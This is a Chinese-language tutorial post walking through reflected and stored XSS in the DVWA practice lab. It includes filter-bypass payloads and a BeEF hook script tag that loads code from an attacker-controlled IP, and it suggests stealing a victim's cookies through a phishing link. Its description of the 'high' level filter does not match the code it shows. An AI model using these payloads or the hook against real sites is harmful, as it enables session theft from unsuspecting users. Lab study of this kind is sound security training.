这次的xss漏洞就从dvwa开始吧。 反射型: 先是low级别的,输入1后页面变为 这次尝试一下burpsuite里自带的扫描器。
首先不得不说dvwa设计有一些缺陷,有时候等级改不过去,这就让人很蛋疼,所以还是要自己手动改一下。就因为这个,扫描器一直扫不出来。用了改过之后的包就可以扫描了。上图
可以看到箭头指向的就是payload 看一下返回页面,就是弹框1了。没啥别的。 抓一下返回包看一看
可以看到我们输进去的东西被解析了。
成功的构造弹窗是xss的一个里程碑
总结一下,low级别的payload的为:<script>alert(1)</script>
medium级别: 还尝试low级别的payload,但是输入之后结果是这样的。 看一下源码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); //此处将<script>从请求值中去掉了 // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>可以看到过滤规则,先尝试一下大小写绕过<Script>alert(1)</Script> 这个是可以的,因为是从字符串中替换这个标签标志,所以尝试双写绕过<scr<script>ipt>alert(1)</scr</script>ipt>,试一下。 其实上面的payload是错的,在代码中可看到,只替换<script>,所以后面的</script>正常写即可,新的payload为:<scr<script>ipt>alert(1)</script> 这个尝试过,是可以的。 丢进扫描器里扫一扫,看一下payload是啥。 其实还是一个大小写绕过。 接下来是BeEF的使用啦。 首先进入kali linux的命令行模式 输入命令:beef-xss 然后出现 然后进入所开的对应端口,这是一个C/S结构的框架,在浏览器中进入。 默认密码为beef/beef 使用dvwa low级别的进行测试 payload为<script src="http://192.168.31.203:3000/hook.js"></script> 在输入框里输入payload即可,然后看见主机已经被钩住了。 使用cookie命令,可以打到对方的cookie。可以给对方发一个钓鱼链接,引诱它点击,即可打到它的cookie。所以反射型xss漏洞的攻击先说到这里。
再补充一下,burpsuite里有解码工具,可以使用,以往都没用过。其实主要是url解码 下面是high级别的 还是先使用burpsuite里自带的扫描器搞一搞 用burp自带的工具解码一下 解码完成,结果还是能弹一个窗。 看一下源码吧。
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>这里用正则匹配将<script>限制的死死的。
那么接下来了解一下存储型xss漏洞 存储型xss就是把你的输入的代码存储在服务器里,比如你输入了<script>alert(1)</script>,这段代码存储在服务器里,每个人访问这个页面都会弹窗,弹窗中的消息为1。
其实用法和反射型一样,不再过多解释
一些修复建议: 如果发现自己的网站有存储型xss,再修复了代码之后,一定要清理一下数据库,否则之前插入的恶意payload还会有效果。